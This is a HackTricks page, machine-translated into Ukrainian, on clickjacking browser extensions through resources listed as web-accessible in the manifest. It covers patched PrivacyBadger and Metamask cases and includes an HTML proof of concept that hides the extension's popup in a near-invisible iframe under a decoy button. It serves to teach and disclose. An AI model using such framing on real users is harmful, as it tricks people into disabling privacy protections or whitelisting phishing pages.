BrowExt - ClickJacking

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Основна інформація

Ця сторінка буде використовувати вразливість ClickJacking у розширенні браузера.
Якщо ви не знаєте, що таке ClickJacking, ознайомтеся з:

Clickjacking

Розширення містить файл manifest.json і цей JSON файл має поле web_accessible_resources. Ось що кажуть документи Chrome:

Ці ресурси будуть доступні на веб-сторінці через URL chrome-extension://[PACKAGE ID]/[PATH], який можна згенерувати за допомогою extension.getURL method. Ресурси, що знаходяться в білому списку, подаються з відповідними заголовками CORS, тому вони доступні через механізми, такі як XHR.1

web_accessible_resources у розширенні браузера доступні не лише через веб; вони також працюють з вбудованими привілеями розширення. Це означає, що вони мають можливість:

  • Змінювати стан розширення
  • Завантажувати додаткові ресурси
  • Взаємодіяти з браузером до певної міри

Однак ця функція представляє собою ризик для безпеки. Якщо ресурс у web_accessible_resources має будь-яку значну функціональність, зловмисник може потенційно вбудувати цей ресурс у зовнішню веб-сторінку. Непідозрюючі користувачі, які відвідують цю сторінку, можуть ненавмисно активувати цей вбудований ресурс. Така активація може призвести до непередбачуваних наслідків, залежно від дозволів і можливостей ресурсів розширення.

Приклад PrivacyBadger

У розширенні PrivacyBadger була виявлена вразливість, пов'язана з тим, що директорія skin/ була оголошена як web_accessible_resources наступним чином (перевірте оригінальний блог-пост):

json
"web_accessible_resources": [
"skin/*",
"icons/*"
]

Ця конфігурація призвела до потенційної проблеми безпеки. Зокрема, файл skin/popup.html, який відображається при взаємодії з іконкою PrivacyBadger у браузері, може бути вбудований в iframe. Це вбудовування може бути використане для обману користувачів, змушуючи їх випадково натискати на "Вимкнути PrivacyBadger для цього веб-сайту". Така дія порушить конфіденційність користувача, вимкнувши захист PrivacyBadger і потенційно піддаючи користувача підвищеному відстеженню. Візуальну демонстрацію цього експлойту можна переглянути у відео прикладі ClickJacking, наданому за посиланням https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.

Щоб вирішити цю вразливість, було реалізовано просте рішення: видалення /skin/* зі списку web_accessible_resources. Ця зміна ефективно зменшила ризик, забезпечивши, що вміст каталогу skin/ не може бути доступний або маніпульований через веб-доступні ресурси.

Виправлення було простим: видалити /skin/* з web_accessible_resources.

PoC

html
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>

<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>

<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamask Example

A блог пост про ClickJacking в metamask можна знайти тут. У цьому випадку Metamask виправив вразливість, перевіряючи, що протокол, використаний для доступу, був https: або http: (не chrome:, наприклад):

Ще один ClickJacking, виправлений в розширенні Metamask, полягав у тому, що користувачі могли Click to whitelist, коли сторінка підозрювалася у фішингу через “web_accessible_resources”: [“inpage.js”, “phishing.html”]. Оскільки ця сторінка була вразливою до Clickjacking, зловмисник міг зловживати цим, показуючи щось нормальне, щоб змусити жертву натиснути для внесення в білий список, не помічаючи цього, а потім повернутися на сторінку фішингу, яка буде внесена в білий список.

Steam Inventory Helper Example

Check the following page to check how a XSS in a browser extension was chained with a ClickJacking vulnerability:

BrowExt - XSS Example

References

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks